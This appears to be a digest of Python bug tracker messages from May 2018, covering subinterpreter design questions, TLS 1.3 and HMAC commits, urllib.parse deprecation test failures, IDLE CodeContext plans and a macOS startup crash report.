<1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527021507.23.0.682650639539.issue33604@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +christian.heimes, gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:39:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:39:54 +0000 Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> Message-ID: <1527021594.21.0.682650639539.issue33608@psf.upfronthosting.co.za> STINNER Victor added the comment: "That is relatively straight-forward except in one case: indicating that the other interpreter doesn't need the object to exist any more (similar to PyBuffer_Release() but more general)" Why an interpreter would access an object from a different interpreter? Each interpreter should have its own object space, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:42:16 2018 From: report at bugs.python.org (pmpp) Date: Tue, 22 May 2018 20:42:16 +0000 Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> Message-ID: <1527021736.62.0.682650639539.issue33608@psf.upfronthosting.co.za> Change by pmpp : ---------- nosy: +pmpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:50:23 2018 From: report at bugs.python.org (Christian Heimes) Date: Tue, 22 May 2018 20:50:23 +0000 Subject: [issue33570] OpenSSL 1.1.1 / TLS 1.3 cipher suite changes In-Reply-To: <1526648438.42.0.682650639539.issue33570@psf.upfronthosting.co.za> Message-ID: <1527022223.28.0.682650639539.issue33570@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset e8eb6cb7920ded66abc5d284319a8539bdc2bae3 by Christian Heimes in branch 'master': bpo-33570: TLS 1.3 ciphers for OpenSSL 1.1.1 (GH-6976) https://github.com/python/cpython/commit/e8eb6cb7920ded66abc5d284319a8539bdc2bae3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:51:26 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 20:51:26 +0000 Subject: [issue33570] OpenSSL 1.1.1 / TLS 1.3 cipher suite changes In-Reply-To: <1526648438.42.0.682650639539.issue33570@psf.upfronthosting.co.za> Message-ID: <1527022286.89.0.682650639539.issue33570@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6694 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:57:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:57:47 +0000 Subject: [issue33607] [subinterpreters] Explicitly track object ownership (and allocator). In-Reply-To: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> Message-ID: <1527022667.1.0.682650639539.issue33607@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Explicitly track object ownership (and allocator). -> [subinterpreters] Explicitly track object ownership (and allocator). _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:57:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:57:59 +0000 Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> Message-ID: <1527022679.6.0.682650639539.issue33608@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. -> [subinterpreters] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 17:07:30 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 22 May 2018 21:07:30 +0000 Subject: [issue33609] Document that dicts preserve insertion order Message-ID: <1527023250.35.0.682650639539.issue33609@psf.upfronthosting.co.za> New submission from Yury Selivanov : I don't see it documented that dicts preserve insertion order. 3.7 what's new points to [1], but that section doesn't have a "version changed" tag. IMO, [1] should have two version changed tags: one for 3.6, and one for 3.7. Also, it would be great if we could document how the order is preserved when a key is deleted from the dict etc. [1] https://docs.python.org/3.7/library/stdtypes.html#mapping-types-dict ---------- assignee: docs at python components: Documentation messages: 317346 nosy: docs at python, inada.naoki, ned.deily, vstinner, yselivanov priority: normal severity: normal status: open title: Document that dicts preserve insertion order type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 17:40:49 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 21:40:49 +0000 Subject: [issue33570] OpenSSL 1.1.1 / TLS 1.3 cipher suite changes In-Reply-To: <1526648438.42.0.682650639539.issue33570@psf.upfronthosting.co.za> Message-ID: <1527025249.12.0.682650639539.issue33570@psf.upfronthosting.co.za> miss-islington added the comment: New changeset cd57b48ef9a70b7ef693ba52aaf38d7c945ab5d3 by Miss Islington (bot) in branch '3.7': bpo-33570: TLS 1.3 ciphers for OpenSSL 1.1.1 (GH-6976) https://github.com/python/cpython/commit/cd57b48ef9a70b7ef693ba52aaf38d7c945ab5d3 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 18:55:41 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 22 May 2018 22:55:41 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527029741.4.0.682650639539.issue33604@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset 8bb0b5b03cffa2a2e74f248ef479a9e7fbe95cf4 by Gregory P. Smith (Matthias Bussonnier) in branch 'master': bpo-33604: Remove Pending from hmac Deprecation warning. (GH-7062) https://github.com/python/cpython/commit/8bb0b5b03cffa2a2e74f248ef479a9e7fbe95cf4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 18:56:44 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 22:56:44 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527029804.45.0.682650639539.issue33604@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6695 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 19:25:11 2018 From: report at bugs.python.org (David Bolen) Date: Tue, 22 May 2018 23:25:11 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527031511.72.0.682650639539.issue33355@psf.upfronthosting.co.za> David Bolen added the comment: I have migrated the win8 and win10 builders to a different machine type on Azure, which seems to have restored more reasonable performance for the tests, at least in the first set of builds. Assuming that continues to hold true, it should resolve this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 19:40:54 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 23:40:54 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527032454.79.0.682650639539.issue33604@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2751dccca4098b799ea575bb35cec9959c74684a by Miss Islington (bot) in branch '3.7': bpo-33604: Remove Pending from hmac Deprecation warning. (GH-7062) https://github.com/python/cpython/commit/2751dccca4098b799ea575bb35cec9959c74684a ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 22:34:35 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 02:34:35 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527042875.85.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: I can't reproduce it: File "test1.py", line 19, in do_get_obj response = s3_client.get_object(Bucket='archpi.dabase.com', Key='style.css') File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/client.py", line 314, in _api_call return self._make_api_call(operation_name, kwargs) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/client.py", line 599, in _make_api_call operation_model, request_dict) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/endpoint.py", line 148, in make_request return self._send_request(request_dict, operation_model) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/endpoint.py", line 173, in _send_request request = self.create_request(request_dict, operation_model) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/endpoint.py", line 157, in create_request operation_name=operation_model.name) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/hooks.py", line 227, in emit return self._emit(event_name, kwargs) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/hooks.py", line 210, in _emit response = handler(**kwargs) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/signers.py", line 90, in handler return self.sign(operation_name, request) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/signers.py", line 156, in sign auth.add_auth(request) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/auth.py", line 420, in add_auth super(S3SigV4Auth, self).add_auth(request) File "/Users/inada-n/tmp/boto-leak/venv/lib/python3.6/site-packages/botocore/auth.py", line 352, in add_auth raise NoCredentialsError botocore.exceptions.NoCredentialsError: Unable to locate credentials ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 00:43:16 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 04:43:16 +0000 Subject: [issue31529] IDLE: Add docstrings and tests for editor.py reload functions In-Reply-To: <1505912780.79.0.243335137038.issue31529@psf.upfronthosting.co.za> Message-ID: <1527050596.61.0.682650639539.issue31529@psf.upfronthosting.co.za> Terry J. Reedy added the comment: There is a reference to this issue in #31494, msg302628 (CodeContext loops). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 00:45:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 04:45:20 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1527050720.54.0.682650639539.issue13886@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This old issue still is not fixed. Martin, Xavier, could you open a PR please? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 00:53:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 04:53:17 +0000 Subject: [issue27485] urllib.splitport -- is it official or not? In-Reply-To: <1468260123.51.0.000787877209911.issue27485@psf.upfronthosting.co.za> Message-ID: <1527051197.03.0.682650639539.issue27485@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This change made test_urlparse failing when ran with -We. Or just producing a lot of warnings in the default mode. ====================================================================== ERROR: test_splitattr (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1113, in test_splitattr self.assertEqual(splitattr('/path;attr1=value1;attr2=value2'), File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1103, in splitattr DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitattr() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splithost (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1006, in test_splithost self.assertEqual(splithost('//www.example.org:80/foo/bar/baz.html'), File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 977, in splithost DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splithost() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splitnport (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1077, in test_splitnport self.assertEqual(splitnport('parrot:88'), ('parrot', 88)) File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1049, in splitnport DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitnport() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splitpasswd (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1050, in test_splitpasswd self.assertEqual(splitpasswd('user:ab'), ('user', 'ab')) File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1013, in splitpasswd DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitpasswd() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splitport (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1066, in test_splitport self.assertEqual(splitport('parrot:88'), ('parrot', '88')) File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1026, in splitport DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitport() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splitquery (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1091, in test_splitquery self.assertEqual(splitquery('http://python.org/fake?foo=bar'), File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1073, in splitquery DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitquery() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splittag (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1101, in test_splittag self.assertEqual(splittag('http://example.com?foo=bar#baz'), File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1088, in splittag DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splittag() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splittype (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 998, in test_splittype self.assertEqual(splittype('type:opaquestring'), ('type', 'opaquestring')) File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 956, in splittype DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splittype() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splituser (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1035, in test_splituser self.assertEqual(splituser('User:Pass at www.python.org:080'), File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1000, in splituser DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splituser() is deprecated as of 3.8, use urllib.parse.urlparse() instead ====================================================================== ERROR: test_splitvalue (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1124, in test_splitvalue self.assertEqual(splitvalue('foo=bar'), ('foo', 'bar')) File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 1117, in splitvalue DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.splitvalue() is deprecated as of 3.8, use urllib.parse.parse_qsl() instead ====================================================================== ERROR: test_to_bytes (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1131, in test_to_bytes result = urllib.parse.to_bytes('http://www.python.org') File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 920, in to_bytes DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.to_bytes() is deprecated as of 3.8 ====================================================================== ERROR: test_unwrap (test.test_urlparse.Utility_Tests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/serhiy/py/cpython-gc/Lib/test/test_urlparse.py", line 1137, in test_unwrap url = urllib.parse.unwrap('') File "/home/serhiy/py/cpython-gc/Lib/urllib/parse.py", line 940, in unwrap DeprecationWarning, stacklevel=2) DeprecationWarning: urllib.parse.unwrap() is deprecated as of 3.8 ---------------------------------------------------------------------- ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:07:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:07:11 +0000 Subject: [issue27300] tempfile.TemporaryFile(): missing errors=... argument Message-ID: <1527052031.33.0.682650639539.issue27300@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : New changeset 825aab95fde959541859383f8ea7e7854ebfd49f by Serhiy Storchaka (sth) in branch 'master': bpo-27300: Add the errors parameter to tempfile classes. (GH-6696) https://github.com/python/cpython/commit/825aab95fde959541859383f8ea7e7854ebfd49f ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:09:24 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:09:24 +0000 Subject: [issue27300] tempfile.TemporaryFile(): missing errors=... argument In-Reply-To: <1527052031.33.0.682650639539.issue27300@psf.upfronthosting.co.za> Message-ID: <1527052164.21.0.682650639539.issue27300@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you Stephan for your contribution! ---------- resolution: -> fixed stage: -> resolved status: open -> closed versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:17:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:17:46 +0000 Subject: [issue33454] Mismatched C function signature in _xxsubinterpreters.channel_close() In-Reply-To: <1525947476.64.0.682650639539.issue33454@psf.upfronthosting.co.za> Message-ID: <1527052666.95.0.682650639539.issue33454@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:18:12 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 05:18:12 +0000 Subject: [issue33610] IDLE: Improve CodeContext (various issues) Message-ID: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> New submission from Terry J. Reedy : There are a number of possible improvements to CodeContext. They be separate issues (and PRs) that are dependencies of this master index issue. Some should be fairly easy now that we have the new tests. 1. #32831 added docstrings and tests. Review has notes. 2. Follow-up may revise and do some user-invisible code cleanups. 3. #31493 cancelled the event loops when instances are deleted. 4. Spinoff from above: 1 or 2 events loops for class, not each instance. 5. #22703: separate initial context state of new window from toggling the state of current windows. Current behavior is buggy. 6. Gray-out Options => Code Context on non-editor windows. (This would have to be revised again if windows became panes in master window.) 7. Change fixed # of lines to variable # of lines as needed, up to limit. About 15 is limit for 4-space indents in 80 char lines. 8. Click on context line jumps to line. Show it at top of window. 9. Reenable user config of context colors? 10. Somehow mark blocks in editor. Subtle background color change? Or tag just the indents, or, if add line numbers, the line numbers? ---------- assignee: terry.reedy components: IDLE messages: 317357 nosy: cheryl.sabella, terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE: Improve CodeContext (various issues) type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:18:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:18:22 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1527052702.82.0.682650639539.issue33475@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:19:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:19:03 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1527052743.86.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:20:38 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 05:20:38 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527052838.93.0.682650639539.issue33610@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- dependencies: +IDLE cond context: fix code update and font update timers, IDLE: Add docstrings and tests for codecontext, Idle Code Context: separate changing current and future editors stage: test needed -> title: IDLE: Improve CodeContext (various issues) -> IDLE: Make multiple improvements to CodeContext versions: +Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:21:02 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:21:02 +0000 Subject: [issue33441] Expose the sigset_t converter via private API In-Reply-To: <1525696856.75.0.682650639539.issue33441@psf.upfronthosting.co.za> Message-ID: <1527052862.78.0.682650639539.issue33441@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Since posix_spawn() has been removed in 3.7, there is no need to backport this feature. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:23:16 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 05:23:16 +0000 Subject: [issue32831] IDLE: Add docstrings and tests for codecontext In-Reply-To: <1518440891.7.0.467229070634.issue32831@psf.upfronthosting.co.za> Message-ID: <1527052996.38.0.682650639539.issue32831@psf.upfronthosting.co.za> Terry J. Reedy added the comment: If you are following up with a new patch that includes code changes, make a new issue. In the opening message, please briefly list the mini-issues fixed so I can refer changes to purposes. Perhaps something like * getspacesfirstword - function and param1 names ... List the new issue as a dependency of new 'improve code context' issue 33610 that addresses point 2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:25:54 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 23 May 2018 05:25:54 +0000 Subject: [issue31493] IDLE cond context: fix code update and font update timers In-Reply-To: <1505594835.61.0.799118873389.issue31493@psf.upfronthosting.co.za> Message-ID: <1527053154.87.0.682650639539.issue31493@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The patch fixed immediate problem #2 above. #1 is a separate enhancement and I listed it as #4 on the new master issue #33610. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 01:36:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 05:36:15 +0000 Subject: [issue33330] Better error handling in PyImport_Cleanup() In-Reply-To: <1524387390.7.0.682650639539.issue33330@psf.upfronthosting.co.za> Message-ID: <1527053775.23.0.682650639539.issue33330@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 03:01:26 2018 From: report at bugs.python.org (s) Date: Wed, 23 May 2018 07:01:26 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec Message-ID: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> New submission from s : Fatal Python error: Py_Initialize: unable to load the file system codec ModuleNotFoundError: No module named 'encodings' ########################################### Process: Python [1889] Path: /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python Identifier: Python Version: 3.6.5 (3.6.5) Code Type: X86-64 (Native) Parent Process: bash [722] Responsible: Python [1889] User ID: 501 Date/Time: 2018-05-22 23:52:40.997 -0700 OS Version: Mac OS X 10.13.4 (17E202) Report Version: 12 Anonymous UUID: F667AFCE-E0F9-BF0F-FB74-372904C44DB5 Time Awake Since Boot: 2000 seconds System Integrity Protection: disabled Crashed Thread: 0 Dispatch queue: com.apple.main-thread Exception Type: EXC_CRASH (SIGABRT) Exception Codes: 0x0000000000000000, 0x0000000000000000 Exception Note: EXC_CORPSE_NOTIFY Application Specific Information: abort() called Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 libsystem_kernel.dylib 0x00000001018eeb6e __pthread_kill + 10 1 libsystem_pthread.dylib 0x0000000101928080 pthread_kill + 333 2 libsystem_c.dylib 0x00000001015c51ae abort + 127 3 org.python.python 0x0000000100877611 Py_FatalError + 65 4 org.python.python 0x00000001008793c1 _Py_InitializeEx_Private + 1281 5 org.python.python 0x0000000100896b40 Py_Main + 1360 6 org.python.python 0x0000000100000dfe 0x100000000 + 3582 7 org.python.python 0x0000000100000c34 0x100000000 + 3124 Thread 0 crashed with X86 Thread State (64-bit): rax: 0x0000000000000000 rbx: 0x000000010192e380 rcx: 0x00007fff5bffef58 rdx: 0x0000000000000000 rdi: 0x0000000000000307 rsi: 0x0000000000000006 rbp: 0x00007fff5bffef90 rsp: 0x00007fff5bffef58 r8: 0x0000000000000000 r9: 0x0000000000000006 r10: 0x0000000000000000 r11: 0x0000000000000202 r12: 0x0000000000000307 r13: 0x0000000000000002 r14: 0x0000000000000006 r15: 0x000000000000002d rip: 0x00000001018eeb6e rfl: 0x0000000000000202 cr2: 0x0000000101bd7020 Logical CPU: 0 Error Code: 0x02000148 Trap Number: 133 Binary Images: 0x100000000 - 0x100000ff7 +org.python.python (3.6.5 - 3.6.5) /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python 0x100003000 - 0x10049dff7 com.apple.CoreFoundation (6.9 - 1452.23) <358C547D-E227-3228-8218-62327F4605C8> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation 0x100750000 - 0x100977fef +org.python.python (3.6.5, [c] 2001-2018 Python Software Foundation. - 3.6.5) /Library/Frameworks/Python.framework/Versions/3.6/Python 0x100ac0000 - 0x100ac1ffb libSystem.B.dylib (1252.50.4) /usr/lib/libSystem.B.dylib 0x100ac8000 - 0x100ac9ff3 libDiagnosticMessagesClient.dylib (104) <9712E980-76EE-3A89-AEA6-DF4BAF5C0574> /usr/lib/libDiagnosticMessagesClient.dylib 0x100acf000 - 0x100cf6ffb libicucore.A.dylib (59173.0.1) /usr/lib/libicucore.A.dylib 0x100dc8000 - 0x1011b93b7 libobjc.A.dylib (723) /usr/lib/libobjc.A.dylib 0x10136a000 - 0x10137cffb libz.1.dylib (70) <48C67CFC-940D-3857-8DAD-857774605352> /usr/lib/libz.1.dylib 0x101382000 - 0x101386ff7 libcache.dylib (80) <092479CB-1008-3A83-BECF-E115F24D13C1> /usr/lib/system/libcache.dylib 0x10138c000 - 0x101396ff3 libcommonCrypto.dylib (60118.50.1) <029F5985-9B6E-3DCB-9B96-FD007678C6A7> /usr/lib/system/libcommonCrypto.dylib 0x1013a4000 - 0x1013abfff libcompiler_rt.dylib (62) <968B8E3F-3681-3230-9D78-BB8732024F6E> /usr/lib/system/libcompiler_rt.dylib 0x1013b9000 - 0x1013c2ffb libcopyfile.dylib (146.50.5) <3885083D-50D8-3EEC-B481-B2E605180D7F> /usr/lib/system/libcopyfile.dylib 0x1013c9000 - 0x10144efff libcorecrypto.dylib (562.50.17) <67007279-24E1-3F30-802D-A55CD5C27946> /usr/lib/system/libcorecrypto.dylib 0x10146b000 - 0x1014a4ff7 libdispatch.dylib (913.50.12) <848EEE57-4235-3A61-9A52-C0097DD2AB5E> /usr/lib/system/libdispatch.dylib 0x1014df000 - 0x1014fcff7 libdyld.dylib (551.3) /usr/lib/system/libdyld.dylib 0x101517000 - 0x101517ffb libkeymgr.dylib (28) /usr/lib/system/libkeymgr.dylib 0x10151c000 - 0x10151cff7 liblaunch.dylib (1205.50.76) <4D52BB64-C568-3A36-8935-2480427EE2A2> /usr/lib/system/liblaunch.dylib 0x101523000 - 0x101527ffb libmacho.dylib (906) <1902A611-081A-3452-B11E-EBD1B166E831> /usr/lib/system/libmacho.dylib 0x10152e000 - 0x101530ff3 libquarantine.dylib (86) <26C0BA22-8F93-3A07-9A4E-C8D53D2CE42E> /usr/lib/system/libquarantine.dylib 0x101537000 - 0x101538ff3 libremovefile.dylib (45) <711E18B2-5BBE-3211-A916-56740C27D17A> /usr/lib/system/libremovefile.dylib 0x10153e000 - 0x101555fff libsystem_asl.dylib (356.50.1) <3B24F2D1-B578-359D-ADB2-0ED19A364C38> /usr/lib/system/libsystem_asl.dylib 0x101563000 - 0x101563fff libsystem_blocks.dylib (67) <17303FDF-0D2D-3963-B05E-B4DF63052D47> /usr/lib/system/libsystem_blocks.dylib 0x101568000 - 0x1015f1ff7 libsystem_c.dylib (1244.50.9) <1187BFE8-4576-3247-8177-481554E1F9E7> /usr/lib/system/libsystem_c.dylib 0x10161a000 - 0x10161dffb 